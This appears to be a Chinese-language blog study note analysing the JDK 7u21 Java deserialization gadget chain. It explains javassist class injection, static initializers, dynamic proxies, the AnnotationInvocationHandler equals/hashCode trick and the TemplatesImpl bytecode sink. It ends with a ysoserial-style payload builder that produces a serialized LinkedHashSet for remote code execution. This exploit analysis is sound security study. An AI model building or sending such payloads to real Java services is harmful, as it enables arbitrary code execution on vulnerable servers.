JDK7u21反序列化分析

其实一开始就应该先跟这个的QAQ

前置知识

首先是java中提供了一个可以直接对java字节码进行操作的库javassist

javassist

javassist: Java字节码操作库,提供了在运行时操作Java字节码的方法,如在已有 Class 中动态修改和插入Java代码,示例:在 Cat 类中添加包含恶意代码的 static block

public class Cat {}

@Test
public void test() throws Exception {
  ClassPool pool = ClassPool.getDefault();
  CtClass cc = pool.get(Cat.class.getName());
  String cmd = "System.out.println(\"evil code\");";
  // 创建 static 代码块,并插入代码
  cc.makeClassInitializer().insertBefore(cmd);
  String randomClassName = "EvilCat" + System.nanoTime();
  cc.setName(randomClassName);
  // 写入.class 文件
  cc.writeFile();
}

生成的 .class,反编译后的源码如下:

public class EvilCat1522165524449145000 {
    public EvilCat1522165524449145000() {
    }

    static {
        System.out.println("evil code");
    }
}

除了 static block,也可以在 constructor 或其他方法中添加代码。 关于 javassist 的详细介绍可以参考 http://www.cnblogs.com/hucn/p/3636912.html

在 Jdk7u21 的 payload 中,使用了 javassist 来构造包含恶意代码的class

然后就是Java类中的静态代码,在类初始化时会被调用,也就是说对只要对类进行了加载操作这部分的代码就会被执行

Java static initializer

Java Class 中定义的 static 代码块被称为 static initializer,在 class 初始化 (initialized) 时会执行该语句块

public class StaticInitializerTest {
    static {
        System.out.println("static initializer");
    }  
    public StaticInitializerTest() {
        System.out.println("constructor executed");
    }
}

对于 “class 初始化”,听起来比较抽象,这里通过代码来说明一下:

@Test
public void testStaticBlock() throws Exception {
    // 内部调用 loadClass(name, false) 不会 initialize class,无 print
    JavassistTests.class.getClassLoader().loadClass("com.b1ngz.jdk7u21.StaticInitializerTest");
    // 反射加载,会 initialize class,print static initializer
    Class.forName("com.b1ngz.jdk7u21.StaticInitializerTest");
    // 实例化,先打印 static initializer,再打印 constructor executed
    Assert.assertNotNull(StaticInitializerTest.class.newInstance());
    // 实例化,先打印 static initializer,再打印 constructor executed
    Assert.assertNotNull(new StaticInitializerTest());
}

@Test
public void testDefineClass() throws Exception {
    ClassPool pool = ClassPool.getDefault();
    CtClass cc = pool.get(StaticInitializerTest.class.getName());
    // avoid duplicate class definition
    String randomClassName = "EvilCat" + System.nanoTime();
    cc.setName(randomClassName);
    byte[] byteCodes = cc.toBytecode();
    // protected method, use reflect
    Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
    method.setAccessible(true);
    // 不会 initialize class,无 print
    method.invoke(JavassistTests.class.getClassLoader(), new Object[]{(String) null, byteCodes, 0, byteCodes.length});
}

这里需要重点关注一下 ClassLoader.defineClass() 方法运行后,并不会执行 static block,而 Class.newInstance() 会执行,这两个地方会涉及到 Jdk7u21 payload 恶意代码的具体执行点

关于 Class.forName("SomeClass");ClassLoader.loadClass("SomeClass"); ,有兴趣的可以参考 https://stackoverflow.com/a/8100407/6467552

动态代理,简单带过吧,就是对接口实现代理,主要要用的就是这个接口InvocationHandler,使用时被代理的对象的所有方法与参数会分别作为method和args参数传入到invoke方法中,后面你想怎么操作就是你的事情啦

public interface InvocationHandler {
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable;
}
基础实现如下
public static class MyInvocationHandler implements InvocationHandler{
    private Map map;
    //记得将被代理的东西放进来,不然你怎么调用()
    public MyInvocationHandler(Map map) {
        this.map = map;
    }
    // 实际的方法调用都会变成调用 invoke 方法
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("method: " + method.getName() + " start");
        Object result = method.invoke(map, args);
        System.out.println("method: " + method.getName() + " finish");
        return result;
    }
}

TemplatesImpl

常用的字节码加载类,总结可以看另一篇,调用到newTransformer或者getOutputProperties方法即可

好啦,前置知识都写完了,下面开始走链子吧

调用链

LinkedHashSet.readObject()
  LinkedHashSet.add()
    ...
      TemplatesImpl.hashCode() (X)
  LinkedHashSet.add()
    ...
      Proxy(Templates).hashCode() (X)
        AnnotationInvocationHandler.invoke() (X)
          AnnotationInvocationHandler.hashCodeImpl() (X)
            String.hashCode() (0)
            AnnotationInvocationHandler.memberValueHashCode() (X)
              TemplatesImpl.hashCode() (X)
      Proxy(Templates).equals()
        AnnotationInvocationHandler.invoke()
          AnnotationInvocationHandler.equalsImpl()
            Method.invoke()
              ...
                TemplatesImpl.getOutputProperties()
                  TemplatesImpl.newTransformer()
                    TemplatesImpl.getTransletInstance()
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {

当为某个类或接口指定InvocationHandler对象时,在调用该类或接口方法时,就会去调用指定handlerinvoke()方法,而AnnotationInvocationHandler就重写了invoke方法

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    } else 

并且对equals进行了单独处理,在满足条件时会调用equalsImpl,在满足传入对象不等于this,并且this是传入对象的子类的情况下,会依次调用传入对象的所有方法和this进行比较

private Boolean equalsImpl(Object var1) {
    if (var1 == this) {
        return true;
    } else if (!this.type.isInstance(var1)) {
        return false;
    } else {
        Method[] var2 = this.getMemberMethods();
        int var3 = var2.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            Method var5 = var2[var4];
            String var6 = var5.getName();
            Object var7 = this.memberValues.get(var6);
            Object var8 = null;
            AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
            if (var9 != null) {
                var8 = var9.memberValues.get(var6);
            } else {
                try {
                    var8 = var5.invoke(var1);
                } catch (InvocationTargetException var11) {
                    return false;
                } catch (IllegalAccessException var12) {
                    throw new AssertionError(var12);
                }
            }

            if (!memberValueEquals(var7, var8)) {
                return false;
            }
        }

        return true;
    }
}

那么下一步我们就要找在反序列化过程中调用了equals方法的地方了,找到了LinkedHashSet

在LinkedHashSet的readObject中会依次对其中的对象进行反序列化,并且通过put操作将其放到Set中

public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

可以看到在其中会对传入的对象进行依次比较,如果通过了key相同的比较那么就会替换的方式完成新数据的插入

在java中set实际上是通过继承map实现的,并且key就是set中某项的值,所以这里实际上就是set的比较

这里e.hash == hash并且k!=e.key的情况下才能继续走到我们的equals中

k!=e.key明显是可以的,在我们预想构建的内容中key应该是一个AnnotationInvocationHandler类型而k则是TemplatesImpl,所以二者必然是不相等的

e.hash == hash(key)的条件要如何满足呢,TemplatesImpl并没有重写hashCode,所以直接就是默认的hash,而在AnnotationInvocationHandler中对hashCode进行了重写

private int hashCodeImpl() {
    int var1 = 0;
    Map.Entry var3;
    for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
        var3 = (Map.Entry)var2.next();
    }
    return var1;
}

hashCode=每一个键值对的(String)key与value的hashCode进行异或并*127的和

然后hashMap中entry的hashcode是key和value进行异或

总之就是这俩hash只要保证代理的map里面的value为外面的TemplatesImpl,就能保证hash的值相等(nnd我怎么知道为什么)

相等后调用equals,通过invoke调用传入内容的所有方法,结束!

payload

final Object templates = Gadgets.createTemplatesImpl(command);

String zeroHashCodeStr = "f5a5a608";

HashMap map = new HashMap();
map.put(zeroHashCodeStr, "fnjjnljkoo");

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);//恶意对象
      set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
//满足TemplatesImpl要求
map.put(zeroHashCodeStr, templates); // swap in real object
return set;

关键点

首先就是AnnotationInvocationHandler这个代理类对equals的重写,当没有办法通过简单信息判断两者是否相等时,就通过get方法逐步取出所有可能能访问的访问的属性进行依次比较,并且在二者类无关时直接放弃比较

其次是对hashCode的了解,hashCode并不是万能的,有的时候hashCode也不能准确的区分两个内容(比如说hash为0的字符串),还有map中每个entry的hashcode都是键值对的hashcode进行异或

链子越跟越顺,很多情况下卡住要么是因为不知道代码这么做要干啥,要么是对部分功能的底层实现不熟悉,还是要多看代码~